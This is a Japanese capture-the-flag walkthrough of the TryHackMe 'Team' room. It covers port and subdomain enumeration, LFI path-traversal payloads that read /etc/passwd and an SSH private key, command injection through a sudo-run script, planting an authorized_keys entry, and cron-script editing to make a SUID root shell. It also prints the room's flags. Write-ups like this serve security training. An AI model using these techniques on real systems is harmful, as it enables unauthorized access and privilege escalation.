0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Team:Walkthrough

Posted at

概要

TryHackMe「Team」のWalkthroughです。

Task2

Q1.user.txt

Hint.As the "dev" site is under contruction maybe it has some flaws? "url?=" + "This rooms picture"

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- 10.10.72.85 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 79:5f:11:6a:85:c2:08:24:30:6c:d4:88:74:1b:79:4d (RSA)
|   256 af:7e:3f:7e:b4:86:58:83:f1:f6:a2:54:a6:9b:ba:ad (ECDSA)
|_  256 26:25:b0:7b:dc:3f:b2:94:37:12:5d:cd:06:98:c7:9f (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 7.6p1
80 http Apache httpd 2.4.29

Webサービスのタイトルからホスト名を得られました。

get host name.jpg

/etc/hostsに追記します。

10.10.72.85     team.thm

team.thmへアクセスすると別のWebページが表示されました。

team thm.jpg

サブドメインの列挙を行います。

$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.team.thm" -u http://team.thm -o ffuf_subdomain_result -fs 11366
www                     [Status: 200, Size: 2966, Words: 140, Lines: 90, Duration: 285ms]
www.dev                 [Status: 200, Size: 187, Words: 20, Lines: 10, Duration: 238ms]
dev                     [Status: 200, Size: 187, Words: 20, Lines: 10, Duration: 4958ms]

発見したサブドメインを/etc/hostsへ追記します。

10.10.72.85     team.thm www.team.thm www.dev.team.thm dev.team.thm

dev.team.thmへアクセスするとリンクを発見しました。

www dev page.jpg

リンクをクリックするとパラメータに付与されてページが表示されました。

/script.php?page=teamshare.php

LFIの脆弱性がありそうです。

ファジングをします。

$ wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hw 0 http://www.dev.team.thm/script.php?page=../../../../../../../FUZZ
000000001:   200        34 L     42 W       1698 Ch     "/etc/passwd"                                       
000000015:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../../etc/passwd"
000000007:   200        34 L     42 W       1698 Ch     "../../../../../../etc/passwd"                      
000000003:   200        34 L     42 W       1698 Ch     "../../etc/passwd"                                  
000000019:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../../../../../../etc/passwd"                                      
000000018:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../../../../../etc/passwd"                                         
000000013:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../etc/passwd"    
000000014:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../etc/passwd" 
000000016:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../../../etc/passwd"
000000017:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../../../../../../etc/passwd"                                            
000000012:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../../etc/passwd"       
000000011:   200        34 L     42 W       1698 Ch     "../../../../../../../../../../etc/passwd"          
000000010:   200        34 L     42 W       1698 Ch     "../../../../../../../../../etc/passwd"             
000000009:   200        34 L     42 W       1698 Ch     "../../../../../../../../etc/passwd"                
000000006:   200        34 L     42 W       1698 Ch     "../../../../../etc/passwd"                         
000000002:   200        34 L     42 W       1698 Ch     "../etc/passwd"                                     
000000008:   200        34 L     42 W       1698 Ch     "../../../../../../../etc/passwd"                   
000000004:   200        34 L     42 W       1698 Ch     "../../../etc/passwd"                               
000000005:   200        34 L     42 W       1698 Ch     "../../../../etc/passwd"

ローカルのファイルを読み込めました。
/etc/passwdファイルからftpuser,dale,gylesアカウントを確認できました。

etc passwd.jpg

ユーザーフラグがこの/home配下のどれかにあると予想して試していると/home/dale/user.txtでユーザーフラグを入手できました。

user flag.jpg

A.THM{6Y0TXHz7c2d}

Q2.root.txt

Hint.Is root running anything automated? ps I like PATH s

SSH接続を試みます。
ユーザー名は判明しているのでパスワードか秘密鍵を探します。
各ユーザーの.ssh/id_rsaはLFIで得られませんでした。
再度別のワードリストでファイルの列挙をするとSSHの設定ファイルを発見しました。

$ wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt --hw 0 http://www.dev.team.thm/script.php?page=FUZZ

(省略)

000000081:   200        169 L    447 W      5990 Ch     "/etc/ssh/sshd_config"
000000080:   200        52 L     218 W      1581 Ch     "/etc/ssh/ssh_config"

/etc/ssh/sshd_configを見るとdaleの秘密鍵を発見しました。

dale prive key.jpg

設定ファイルごとダウンロードします。

$ wget http://www.dev.team.thm/script.php?page=/etc/ssh/sshd_config

ファイルを整形し、SSH接続します。

$ ssh -i id_rsa dale@10.10.72.85
dale@TEAM:~$

sudo -lを実行すると/home/gyles/admin_checksを確認できました。

$ sudo -l
Matching Defaults entries for dale on TEAM:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dale may run the following commands on TEAM:
    (gyles) NOPASSWD: /home/gyles/admin_checks

/home/gyles/admin_checksの処理を確認します。

#!/bin/bash

printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name  >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null

date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak

printf "Stats have been backed up\n"

$error 2>/dev/nullでコマンドインジェクションを実行できます。

$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: 
Enter 'date' to timestamp the file: /bin/bash -i
The Date is uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)

# 入力
`python3 -c "import pty;pty.spawn('/bin/bash')"` 

gyles@TEAM:~$

gylesアカウントには入れました。
gyles用にSSH鍵を設定します。

$ echo "<kali pub ssh key>" > /home/gyles/.ssh/authorized_keys

gylesでSSH接続に成功しました。

$ ssh gyles@10.10.72.85         
Enter passphrase for key '/home/kali/.ssh/id_ed25519': 
Last login: Sun Jan 17 15:35:55 2021
gyles@TEAM:~$

ヒントからプロセスが怪しいです。
pspyをKaliからダウンロードして実行すると/opt/admin_stuff/script.shをrootが実行していると分かりました。

$ ./pspy32
2024/07/18 21:10:01 CMD: UID=0     PID=23574  | /bin/bash /opt/admin_stuff/script.sh

/opt/admin_stuff/script.shの処理を確認します。

/opt/admin_stuff/script.sh
#!/bin/bash
#I have set a cronjob to run this script every minute


dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site

2つのスクリプトを実行しています。
/usr/local/bin/main_backup.shにはadminグループアカウントでの編集権限があり、gylesadminグループに所属しているのでこのスクリプトを編集します。

$ ls -l /usr/local/bin/main_backup.sh 
-rwxrwxr-x 1 root admin 65 Jan 17  2021 /usr/local/bin/main_backup.sh
gyles@TEAM:/opt/admin_stuff$ id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
$ cat /usr/local/bin/main_backup.sh
#!/bin/bash
cp -r /var/www/team.thm/* /var/backups/www/team.thm/

# 追記
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash

/tmp配下にSUIDがセットされたbashを作成できました。

$ ls -l
total 15780
-rwsr-xr-x 1 root  root  1113504 Jul 18 21:14 bash

実行し、root権限の取得に成功しました。

$ ./bash -p
bash-4.4# whoami
root

ルートフラグファイルを検索します。

# find / -name *root.txt* 2>/dev/null
/root/root.txt

/root/root.txtからフラグを入手できます。

/root/root.txt
THM{fhqbznavfonq}

A.THM{fhqbznavfonq}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?